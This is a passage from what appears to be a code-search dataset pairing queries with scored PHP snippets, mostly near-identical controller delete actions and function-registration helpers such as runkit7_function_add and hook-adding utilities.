$this->redirect(['index']);\n\n }", "title": "" }, { "docid": "0c956cc3556cd633385671867511ff81", "score": "0.59455377", "text": "private function delete()\n\t{\n\t\t//Validate Variables\n\t\t$id = $this->validateNumber($_POST['id']);\n\t\t$result = $this->model->delete($id);\t\n\t\t//Insert Succesfull\n\t\tif($result)\n\t\t{\n\t\t\t//Load view\n\t\t\trequire('views/Brand/Deleted.php');\n\t\t}\n\t\telse\n\t\t{\n\t\t\trequire('views/Error.html');\n\t\t}\n\t}", "title": "" }, { "docid": "ca25f6e18cf93882c1417b68fc15ce8b", "score": "0.59422565", "text": "public function actionDelete($id)\n\t{\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "title": "" }, { "docid": "ca25f6e18cf93882c1417b68fc15ce8b", "score": "0.59422565", "text": "public function actionDelete($id)\n\t{\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "title": "" }, { "docid": "ca25f6e18cf93882c1417b68fc15ce8b", "score": "0.59422565", "text": "public function actionDelete($id)\n\t{\n\t\t$this->findModel($id)->delete();\n\n\t\treturn $this->redirect(['index']);\n\t}", "title": "" }, { "docid": "7b6c483d86bf4d977b30d3f554f81a93", "score": "0.594053", "text": "public\n function actionDelete($id)\n {\n $model = $this->findModel($id);\n if ($model)\n $model->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "e016fdad9253c4cba120fab14762ca76", "score": "0.59377545", "text": "public function actionDelete($id)\n {\n /*\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n */\n }", "title": "" }, { "docid": "82f0ca3f231e6b7bc93f5872d8a93c6f", "score": "0.5934864", "text": "public function actionDelete($id) {\n\t\t$this->findModel ( $id )->delete ();\n\t\t\n\t\treturn $this->redirect ( [ \n\t\t\t\t'index' \n\t\t] );\n\t}", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "bb1949bd4d62cdf5708de24753101a8c", "score": "0.5932257", "text": "public function actionDelete($id) {\n $this->findModel($id)->delete();\n\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "3f2165d7eb010eaabb6c35e89ee894d9", "score": "0.59254855", "text": "public function delete() {\n\t\tProjects::find($this->request->id)->delete();\n\t\treturn $this->redirect(['Projects::index', 'http:method' => 'GET']);\n\t}", "title": "" }, { "docid": "fbadcbf2919e73db8b660dfe95e98f3e", "score": "0.5922578", "text": "public function deleteAction() {\r\n \t// check if logged in\r\n \t$this->verifyUser();\r\n\r\n\t\t// get record\r\n\t\t$record = $this->getRecord($this->request->getParam('id'));\r\n\r\n\t\t// if owner\r\n\t\tif($record->getOwnerId() == $this->auth->getIdentity()->id) {\r\n\t\t\t// set as deleted\r\n\t\t\t$record->setDeleted(1);\r\n\t\t\t$record->save();\r\n\r\n\t\t\t// message\r\n\t\t\t$this->msg->messages[] = sprintf($this->translate->_(\"Diary record \\\"%s\\\" deleted successfully.\"), $record->getTitle());\r\n\r\n\t\t// not owner? message\r\n\t\t} else $this->msg->messages[] = sprintf($this->translate->_(\"Diary record \\\"%s\\\" cannot be deleted. Only the owner of the diary record can delete it.\"), $record->getTitle());\r\n\r\n\t\t// redirect\r\n \treturn $this->_helper->redirector('index', 'diary', 'frontend', array('pet' => $record->getPetId()));\r\n }", "title": "" }, { "docid": "54f56e39428cd0b9c32eac6917b06e10", "score": "0.5920699", "text": "public function destroy($id,$idinvoice)\n {\n $concrete = Concrete::findOrFail($id);\n $concrete->delete();\n session()->flash('flash_success','ลบรายการแล้ว!');\n return redirect('invoiceConcrete/'.$idinvoice);\n }", "title": "" }, { "docid": "4c602d64208e8eb86b27934e50fbb711", "score": "0.5919272", "text": "public function actionDelete()\n {\n $purifier = new HtmlPurifier;\n $param = $purifier->process( Yii::$app->request->get('id') );\n\n $realidadaumentada = $this->findModel($param);\n $proyecto = Proyecto::find()->where(['idpro'=>$realidadaumentada->fkpro])->one();\n $imagen = Imagen::find()->where(['idimag'=>$realidadaumentada->fkimag])->one();\n\n if ($realidadaumentada->delete()) {\n if ($proyecto->delete()) {\n if ($imagen->delete()) {\n Yii::$app->session->setFlash('succes','El Proyecto de Realidad Aumentada fue Eliminado!!');\n return $this->redirect(['index']);\n }\n }\n }\n\n }", "title": "" }, { "docid": "d4c4377a91f66555c927ca8f5addafe0", "score": "0.5918106", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "d4c4377a91f66555c927ca8f5addafe0", "score": "0.5918106", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "d4c4377a91f66555c927ca8f5addafe0", "score": "0.5918106", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "d4c4377a91f66555c927ca8f5addafe0", "score": "0.5918106", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "d4c4377a91f66555c927ca8f5addafe0", "score": "0.5918106", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "d4c4377a91f66555c927ca8f5addafe0", "score": "0.5918106", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" }, { "docid": "d4c4377a91f66555c927ca8f5addafe0", "score": "0.5918106", "text": "public function actionDelete($id)\n {\n $this->findModel($id)->delete();\n return $this->redirect(['index']);\n }", "title": "" } ]
6f2a28380bb24a2ded696534425c1c2a
Add a new function, similar to create_function() Gives you more control over the type of function being created (Signature 2 of 2) Aliases: runkit_function_add
[ { "docid": "24d155b5bf9f2b94feffbbb470c65c98", "score": "0.7733706", "text": "function runkit7_function_add(string $funcname, Closure $closure, string $doc_comment = null, bool $is_strict = null) : bool {\n}", "title": "" } ]
[ { "docid": "8d86bc481ce680f867ab5b0996d130c2", "score": "0.8299754", "text": "public function addFunction($function_name)\n {}", "title": "" }, { "docid": "a623cd23721a8e374d75b32cd1ba8bfe", "score": "0.7703847", "text": "function runkit7_function_add(string $funcname, string $arglist, string $code, bool $return_by_reference = null, string $doc_comment = null, string $return_type = null, bool $is_strict = null) : bool {\n}", "title": "" }, { "docid": "3a8bedd6bc56f6d5cd6c028eb5a4f4d5", "score": "0.6715985", "text": "public function registerCustomFunction($name, $customFunction) {}", "title": "" }, { "docid": "d3428d2cf10bae42615a449b1465f010", "score": "0.6711338", "text": "function Addition(){\n\t\t\techo \"Addition is a function\";\n\t\t}", "title": "" }, { "docid": "bfea794af829ff0f33245393ec0dd29a", "score": "0.6687289", "text": "public function addFunction($name)\n\t{\n\t\tif ( function_exists($name) ) $this->twig->addFunction($name, new Twig_Function_Function($name));\n\t}", "title": "" }, { "docid": "9feafa11a374da645ddc9d8e24fccd32", "score": "0.66722465", "text": "public function addFunction($function, $namespace = '') {\n\t\tif (!is_string($function) && (!is_array($function) || (2 > count($function)))) {\n\t\t\tthrow new Twm_Socket_Server_Exception('Unable to attach function; invalid');\n\t\t}\n\n\t\tif (!is_callable($function)) {\n\t\t\tthrow new Twm_Socket_Server_Exception('Unable to attach function; does not exist');\n\t\t}\n\n\t\t$argv = null;\n\t\tif (2 < func_num_args()) {\n\t\t\t$argv = func_get_args();\n\t\t\t$argv = array_slice($argv, 2);\n\t\t}\n\n\t\trequire_once 'Zend/Server/Reflection.php';\n\t\tif (is_string($function)) {\n\t\t\t$method = Zend_Server_Reflection::reflectFunction($function, $argv, $namespace);\n\t\t} else {\n\t\t\t$class = array_shift($function);\n\t\t\t$action = array_shift($function);\n\t\t\t$reflection = Zend_Server_Reflection::reflectClass($class, $argv, $namespace);\n\t\t\t$methods = $reflection->getMethods();\n\t\t\t$found = false;\n\t\t\tforeach ($methods as $method) {\n\t\t\t\tif ($action == $method->getName()) {\n\t\t\t\t\t$found = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!$found) {\n\t\t\t\t$this->fault(\"Method not found '$action'\", -32601);\n\t\t\t\treturn $this;\n\t\t\t}\n\t\t}\n\n\t\t$definition = $this->_buildSignature($method);\n\t\t$this->_addMethodServiceMap($definition);\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "2af026a858a207fc7b175deba9f3d0f4", "score": "0.6663904", "text": "function add_action( String $name, String $function ) {\n\tglobal $actions;\n\t\n\tif( function_exists( $function ) && is_callable( $function ) )\n\t\t$actions[ $name ][] = $function;\n}", "title": "" }, { "docid": "81c8ec26a20a85a0630693e8c022864c", "score": "0.6578386", "text": "public function addFunction($name, $function) {\n $this->twig->addFunction(new \\Twig_Function($name, $function));\n }", "title": "" }, { "docid": "46f580a50011367c6cf03a0c5179cebb", "score": "0.6473425", "text": "public function addFunction($n,$c)\r\n\t{\r\n\t\t$this->functions[$n] = $c;\r\n\t}", "title": "" }, { "docid": "878c1cdaff470895ebc645bf8cd21ca1", "score": "0.6446881", "text": "public function addFunction()\n {\n $this->function_list[$this->function->name][] = $this->function;\n\n return $this;\n }", "title": "" }, { "docid": "1609a989aa1f7bbcbd2207831c111e8d", "score": "0.63180244", "text": "function payswarm_add_hook($hook, $func) {\n global $payswarm_hooks;\n $payswarm_hooks[$hook] = $func;\n}", "title": "" }, { "docid": "c392529e38d3b5400333134d01565ce0", "score": "0.621006", "text": "function runkit7_method_add(string $classname, string $methodname, Closure $closure, int $flags = RUNKIT7_ACC_PUBLIC, string $doc_comment = null, bool $is_strict = null) : bool {\n}", "title": "" }, { "docid": "b7f173a5160ee387814c0fa31cfe2bec", "score": "0.62005603", "text": "public function makeFunction(string $functionName) : GLFunction\n {\n $func = new GLFunction;\n $func->name = $functionName;\n $this->functions[$functionName] = $func;\n return $func;\n }", "title": "" }, { "docid": "b279c90e214e51a31d2954d0394f75a5", "score": "0.61587644", "text": "function add_hook($tag, $function, $priority = 10) {\n\t\tglobal $hook;\n\t\t$hook->add_hook ( $tag, $function, $priority );\n\t}", "title": "" }, { "docid": "b9f18047482e95ab9b9fce5b8e12e17a", "score": "0.6098498", "text": "function addFunc($first, $second)\r\n\t{\r\n\t\treturn $first + $second;\r\n\t}", "title": "" }, { "docid": "eb942303d14a2895c6b6246c84ac52aa", "score": "0.60837317", "text": "function runkit7_function_rename(string $funcname, string $newname) : bool {\n}", "title": "" }, { "docid": "9d0fc7221f8c72473fb382b8966cda25", "score": "0.60675615", "text": "public function addFunction($name, \\Closure $func)\n {\n $this->fm->addFunction($name, $func);\n }", "title": "" }, { "docid": "3ae6b0345e7ac46bb6c1274f5cbf40f4", "score": "0.60341823", "text": "function mycustomfunction(){\n}", "title": "" }, { "docid": "9f8efcfbc8e528e184786701dab838ee", "score": "0.60314167", "text": "public function setFunction($name)\n {\n $this->func = $name;\n }", "title": "" }, { "docid": "01ac62be0f5110dd6d6b361893939c7b", "score": "0.6019909", "text": "function add_action($tag, $function_to_add, $priority = 10, $accepted_args = 1) {\n\treturn add_filter($tag, $function_to_add, $priority, $accepted_args);\n}", "title": "" }, { "docid": "c9a08e2ff030f991fe863246fbfebcf1", "score": "0.59795326", "text": "function add_hook($where, $function) {\n\tglobal $SYS;\n\t$SYS->add_hook($where, $function);\n}", "title": "" }, { "docid": "f3615602ecc44d3d37e7f75277a81c9c", "score": "0.5979444", "text": "function runkit_function_copy($funcname, $targetname)\n{\n}", "title": "" }, { "docid": "7e968378176a2328f51f4fdf1bd9081c", "score": "0.59772384", "text": "public function newFunction(string $name)\n {\n if (!isset($this->function_list[$name])) {\n $this->function_list[$name] = [];\n }\n\n $this->function = new FunctionBuilder($name);\n\n return $this;\n }", "title": "" }, { "docid": "1508b82542c93e874eaa8f701f0e5a7b", "score": "0.5944027", "text": "public function addFn(CBFunction $fn)\n {\n $this->_addToScope($fn, self::SCOPE_FNS);\n }", "title": "" }, { "docid": "9b37008269ed8d78d41f61a586ee89b1", "score": "0.5926056", "text": "function createFunction() {\n\treturn function($arg1) {\n\t\techo(\"Yay! $arg1\\n\");\n\t};\n}", "title": "" }, { "docid": "a2c71bf897b30e41fcc78920db88e8f4", "score": "0.58922404", "text": "public function defineFunc($name, callable $function, bool $pass_sandbox = false) : self {\n if(is_array($name)){\n return $this->defineFuncs($name);\n }\n if(!$name){\n $this->validationError(\"Cannot define unnamed function!\", Error::DEFINE_FUNC_ERROR, null, '');\n }\n if(is_array($function) && count($function)){ //so you can pass array of function names and array of function and pass_sandbox flag\n $pass_sandbox = $function[1] ?? false;\n $function = $function[0];\n }\n $original_name = $name;\n $name = $this->normalizeFunc($name);\n if(!is_callable($function)){\n $this->validationError(\"Cannot define uncallable function : $original_name\", Error::DEFINE_FUNC_ERROR, null, $original_name);\n }\n $this->definitions['functions'][$name] = [\n 'function' => $function,\n 'pass_sandbox' => $pass_sandbox\n ];\n return $this;\n }", "title": "" }, { "docid": "a8f5c6b2a7c8e2bdeddb5b5f1cbfe696", "score": "0.5890482", "text": "public function add_action( $action, $function ) {\n\t\t$this->actions[ $action ][] = $function;\n\t}", "title": "" }, { "docid": "0af331e8b4c6a22dcdb8ad5b62f5565b", "score": "0.58893627", "text": "private function registerFunction (string $name, string $function)\n {\n if (method_exists ($this, $function) === false)\n throw new \\Exception (\"Cannot register functions that do not exist ({$function})\");\n\n $this->functions [$name] = array ($this, $function);\n\n return $this;\n }", "title": "" }, { "docid": "c4c1a5d3fe12ffd73d0eaa0120c8c0d3", "score": "0.58873135", "text": "public function addItem($id, $function, $type = null)\n\t{\n\t\tif ( !is_null($type) )\n\t\t\t$this->throwError('Not Supported');\n\n\t\t$this->items[$id] = $function;\n\t}", "title": "" }, { "docid": "759daf21f8dab672e7be299d20703890", "score": "0.5873964", "text": "function add_action( $name, $function, $priority = 10, $accepted_args = 0 ) {\n\treturn add_filter( $name, $function, $priority, $accepted_args );\n}", "title": "" }, { "docid": "78272bfc12252f6d285b1a6603a1a64c", "score": "0.5849525", "text": "public function addCode(callable $code, $name = self::UNNAMEDTASK);", "title": "" }, { "docid": "1ede365fbef8e43d47b83bbe6caab297", "score": "0.584462", "text": "function tests_add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1)\n {\n }", "title": "" }, { "docid": "eba23716c531ef7833d7f40e922b6338", "score": "0.5816439", "text": "protected function define_functions() {\n foreach($this->created_functions as $name => $content) $this->define_function($name, $content);\n }", "title": "" }, { "docid": "a053e7db5539850ec991ef9dd7905baf", "score": "0.58043396", "text": "function classkit_method_add($classname, $methodname, $args, $code, $flags = false)\n{\n}", "title": "" }, { "docid": "1e3cb9ef2634db11c6c5360e8ffa948b", "score": "0.5801774", "text": "function add_filter( $name, $function, $priority = 10, $accepted_args = 1 ) {\n\tglobal $hooks;\n\t$function_isset = false;\n\tif ( isset( $hooks[$name] ) ) {\n\t\tforeach ( $hooks[$name] as $hook ) {\n\t\t\tif ( $hook['function'] == $function ) {\n\t\t\t\t$function_isset = true;\n\t\t\t}\n\t\t}\n\t}\n\tif ( ! $function_isset ) {\n\t\tif ( ! preg_match( \"|^[\\d]+$|\", $priority ) ) {\n\t\t\t$priority = 10;\n\t\t}\n\t\tif ( ! preg_match( \"|^[\\d]+$|\", $accepted_args ) ) {\n\t\t\t$accepted_args = 1;\n\t\t}\n\t\t$hooks[$name][] = [\n\t\t\t'function' => $function,\n\t\t\t'priority' => $priority,\n\t\t\t'accepted_args' => $accepted_args,\n\t\t];\n\t\treturn true;\n\t}\n\telse {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "32556fe9998c80c490928881af43891e", "score": "0.57721585", "text": "function runkit7_method_add(string $classname, string $methodname, string $arglist, string $code, int $flags = RUNKIT7_ACC_PUBLIC, string $doc_comment = null, string $return_type = null, bool $is_strict = null) : bool {\n}", "title": "" }, { "docid": "8b691b7699126241ce4b19d48610c068", "score": "0.57616264", "text": "protected function add_action($tag,$function_to_add,$priority=10,$accepted_args=1){\r\n\t\t$idx=$this->action_id($tag,$function_to_add,$priority);\r\n\t\t$this->actions[$tag][$priority][$idx]=array('function'=>$function_to_add,'accepted_args'=>$accepted_args);\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "a43f0e7f613028799a1f8dccfb535afc", "score": "0.57573503", "text": "public function addAction(string $identifier, callable $function, int $priority = 10, $accepted_args = 1): bool;", "title": "" }, { "docid": "1476901c2f5cd561956d44260d156eab", "score": "0.57514226", "text": "function add_hook ($tag, $function, $priority = 10)\n {\n $tag = trim($tag);\n if (! isset($this->hooks[$tag])) {\n die(\"There is no such place ($tag) for hooks.\");\n } else {\n $this->hooks[$tag][$priority][] = $function;\n }\n }", "title": "" }, { "docid": "87619820fd6da85b04de37c84dacf080", "score": "0.57467115", "text": "function tests_add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) {\n\tglobal $wp_filter, $merged_filters;\n\n\t$idx = _test_filter_build_unique_id($tag, $function_to_add, $priority);\n\t$wp_filter[$tag][$priority][$idx] = array('function' => $function_to_add, 'accepted_args' => $accepted_args);\n\tunset( $merged_filters[ $tag ] );\n\treturn true;\n}", "title": "" }, { "docid": "c17f3f0d45c998d51c229e173b6a4459", "score": "0.57450926", "text": "function addFunction($sql)\n\t{\n\t\treturn $this->query($sql);\n\t}", "title": "" }, { "docid": "04313ebb95ea47d159a8634959823115", "score": "0.5744429", "text": "public function addTwigFunction($name, callable $function, array $options = [])\n {\n $twigfunction = new \\Twig_SimpleFunction($name, $function, $options);\n $this->twig->addFunction($twigfunction);\n }", "title": "" }, { "docid": "13a90f8782e463199829ab552f2386c6", "score": "0.5731653", "text": "function amy_custom_function_code(){\n \n}", "title": "" }, { "docid": "d36351128bb9a71adb31250a5abb3fda", "score": "0.572832", "text": "function singleFunction()\n {\n $func = new CodeGen_PECL_Element_Function;\n\n $func->setRole(\"public\");\n\n $err = $func->setProto(trim($this->options->value(\"function\")), $this->extension);\n if (PEAR::isError($err)) {\n $this->terminate($err->getMessage());\n }\n\n $err = $this->extension->addFunction($func);\n if (PEAR::isError($err)) {\n $this->terminate($err->getMessage());\n }\n\n echo $this->extension->publicFunctionsC();\n\n echo \"\\n\\n/*----------------------------------------------------------------------*/\\n\\n\";\n\n foreach ($this->extension->getFunctions() as $name => $function) {\n echo sprintf(\"\\tPHP_FE(%-20s, NULL)\\n\", $name);\n }\n\n echo \"\\n\\n/*----------------------------------------------------------------------*/\\n\\n\";\n\n foreach ($this->extension->getFunctions() as $name => $function) {\n echo \"PHP_FUNCTION($name);\\n\";\n }\n }", "title": "" }, { "docid": "22a8d7f3c7d71a9cac1bd70eec9fb722", "score": "0.5705535", "text": "public function call($function_name);", "title": "" }, { "docid": "6203cdbf8e2aea26a8e3fcd26240a510", "score": "0.5692027", "text": "function runkit7_function_redefine(string $funcname, Closure $closure, string $doc_comment = null, bool $is_strict = null) : bool {\n}", "title": "" }, { "docid": "62f9dc2e0fced2f3ca044fb217aca997", "score": "0.5683185", "text": "public static function addFunction(string $name, callable $callback): void\n {\n self::$functions[$name] = $callback;\n }", "title": "" }, { "docid": "79cca2e02778bf3c38fcdbbc74f27ae9", "score": "0.56772166", "text": "protected function _function($name) {\n return new Builder\\Function_($name);\n }", "title": "" }, { "docid": "c43046b30919a34efe6f039a926241e3", "score": "0.56581396", "text": "function visitFunctionNode(FunctionNode $node);", "title": "" }, { "docid": "21a6e04389b43df8d8d4b49dc058e07b", "score": "0.56297684", "text": "function runkit7_function_copy(string $funcname, string $targetname) : bool {\n}", "title": "" }, { "docid": "12a3b10757103c746a341381934b4f59", "score": "0.56274325", "text": "public function register_plugin()\n {\n list( $tag, $function ) = func_get_args();\n\n if( is_callable( $function ) )\n {\n $this->_codes[ $tag ] = $function;\n }\n }", "title": "" }, { "docid": "51c21b7c972dd88163951bfbaf117adc", "score": "0.5624995", "text": "public function addFunction($function, $namespace = '')\n {\n static $port;\n static $operation;\n static $binding;\n\n if (!is_array($function)) {\n $function = (array) $function;\n }\n\n $uri = $this->getUri();\n\n if (!($this->_wsdl instanceof Zend_Soap_Wsdl)) {\n $parts = explode('.', basename($_SERVER['SCRIPT_NAME']));\n $name = $parts[0];\n $wsdl = new Zend_Soap_Wsdl($name, $uri, $this->_strategy);\n\n // The wsdl:types element must precede all other elements (WS-I Basic Profile 1.1 R2023)\n $wsdl->addSchemaTypeSection();\n\n $port = $wsdl->addPortType($name . 'Port');\n $binding = $wsdl->addBinding($name . 'Binding', 'tns:' .$name. 'Port');\n\n $wsdl->addSoapBinding($binding, $this->_bindingStyle['style'], $this->_bindingStyle['transport']);\n $wsdl->addService($name . 'Service', $name . 'Port', 'tns:' . $name . 'Binding', $uri);\n } else {\n $wsdl = $this->_wsdl;\n }\n\n foreach ($function as $func) {\n $method = $this->_reflection->reflectFunction($func);\n $this->_addFunctionToWsdl($method, $wsdl, $port, $binding);\n }\n $this->_wsdl = $wsdl;\n\n return $this;\n }", "title": "" }, { "docid": "d0b8081996aa170a6ed3c27107704309", "score": "0.55921894", "text": "function _add_hook($type, $hook, $function, $priority = 10, $accepted_args = 1) {\r\n\t\tswitch ($type) {\r\n\t\t\tcase 'action':\r\n\t\t\t\treturn add_action($hook, $function, $priority, $accepted_args);\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'filter':\r\n\t\t\t\treturn add_filter($hook, $function, $priority, $accepted_args);\r\n\t\t\t\tbreak;\r\n/*\r\n\t\t\tcase 'widget':\r\n\t\t\t register_sidebar_widget($hook, $function);\r\n\t\t\t\treturn TRUE;\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'widget-control':\r\n\t\t\t register_widget_control($hook, $function);\r\n\t\t\t\treturn TRUE;\r\n\t\t\t\tbreak;\r\n*/\r\n\t\t\tdefault:\r\n\t\t\t\treturn FALSE;\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "0ac7cd45e5db15524ae46d1deb84f8f3", "score": "0.55837685", "text": "public function addFunction($function_name, $methodCallable)\n {\n if (! is_callable($methodCallable)) {\n throw InvalidArgumentException::FunctionMustBeCallable($function_name);\n }\n $this->macros[$function_name] = Closure::bind($methodCallable, $this, get_class());\n\n return true;\n }", "title": "" }, { "docid": "d44670dba7dea1258256129a73211b8a", "score": "0.5572946", "text": "protected function add()\n {\n if ($this->numArgs === null) {\n $this->numArgs = $this->findNumArgs($this->callback);\n }\n if(is_string($this->callback) && class_exists($this->callback)){\n $this->useCallbackManager('invoke', $this->callback);\n }\n foreach ((array) $this->hook as $hook) {\n if ($this->proactive && \\did_action($hook)) {\n ($this->callback)();\n continue;\n }\n \\add_action($hook, $this->callback, $this->priority, $this->numArgs);\n }\n }", "title": "" }, { "docid": "e9663ec196adcda9be1c29fe53a239af", "score": "0.5549339", "text": "public function addMethod(string $key, string $function)\n {\n $this->addOption('methods', $key, trim($function));\n return $this;\n }", "title": "" }, { "docid": "6d1c453bfc9801e2f6ffab6e376cc76b", "score": "0.5528393", "text": "public function setFunction($name,callable $callable){\r\n static::$functions[$name] = $callable;\r\n return $this;\r\n }", "title": "" }, { "docid": "71ff7b11b27104a09a55373d0ca0227d", "score": "0.552812", "text": "public static function add_tag( $tag, $function ) {\n\t\tif ( array_key_exists( $tag, self::$_tags ) ) {\n\t\t\tthrow new \\RuntimeException( 'Template Tag already defined' );\n\t\t}\n\n\t\tif ( ! is_callable( $function ) ) {\n\t\t\tthrow new \\InvalidArgumentException( 'Function for `'. $tag . '` tag must be callable' );\n\t\t}\n\n\t\tself::$_tags[ $tag ] = $function;\n\t}", "title": "" }, { "docid": "a89d6db83dde133c8e25595899740c3f", "score": "0.5527495", "text": "function load_function($function_name, $params = 'source')\n {\n $this->xml(\"<function>$function_name</function><param>$params</param>\");\n }", "title": "" }, { "docid": "d32f0ad8e69d34af7507e54056943491", "score": "0.5521579", "text": "public function add_action($tag, $function_to_add, $priority = 10, $accepted_args = 1) {\n\t\t$tag = $this->_get_action_tag($tag);\n\t\tadd_action($tag, $function_to_add, $priority, $accepted_args);\n\t}", "title": "" }, { "docid": "930d3e426168a35fb8b967748c78623f", "score": "0.55126756", "text": "public function appFunction($name){\n $name = $this->cleaner($name);\n $theName = $this->getName($name);\n $tpname = $this->capitalizer($name);\n\n $tpl = $this->stub('appFunction');\n\n if(!is_null($tpl)){\n $render = tpl($tpl, ['name' => $theName, 'date' => date('Y.m.d')]);\n\n $file = $this->paths['function'].'/'.$tpname.'.js';\n\n $path = implode('/', explode('\\\\', public_path($file)));\n\n if(!file_exists($path)){\n $stored = Storage::put($file, $render);\n\n if ($stored) {\n return \" Good Job, Function created successfully check :)\".PHP_EOL.\" $path\".PHP_EOL.PHP_EOL.\" Function Name is '$theName'\";\n } else {\n return 'Sorry ... your Function don\\'t created ... try again! :( ';\n }\n } else {\n return \" This Angular Function ($theName) exist! \".PHP_EOL.\" Check $path\";\n }\n\n } else {\n return \" The template file for angular Function don't exist! \".PHP_EOL.\" Check \".base_path('app/Console/Commands/stubs/appFunction.stub');\n }\n }", "title": "" }, { "docid": "cb33b5ba0acb09fc857891410eb84595", "score": "0.54858226", "text": "public function add($name, $callable, $arguments = [])\n {\n add_shortcode($name, function ($attributes = [], $content = null) use ($callable, $arguments)\n {\n if ( ! is_array($attributes))\n {\n $attributes = [];\n }\n\n if ( ! empty($arguments))\n {\n $attributes = $this->renameArguments($arguments, $attributes);\n }\n\n if (strpos($callable, '::') !== false)\n {\n list($api, $method) = explode('::', $callable);\n\n 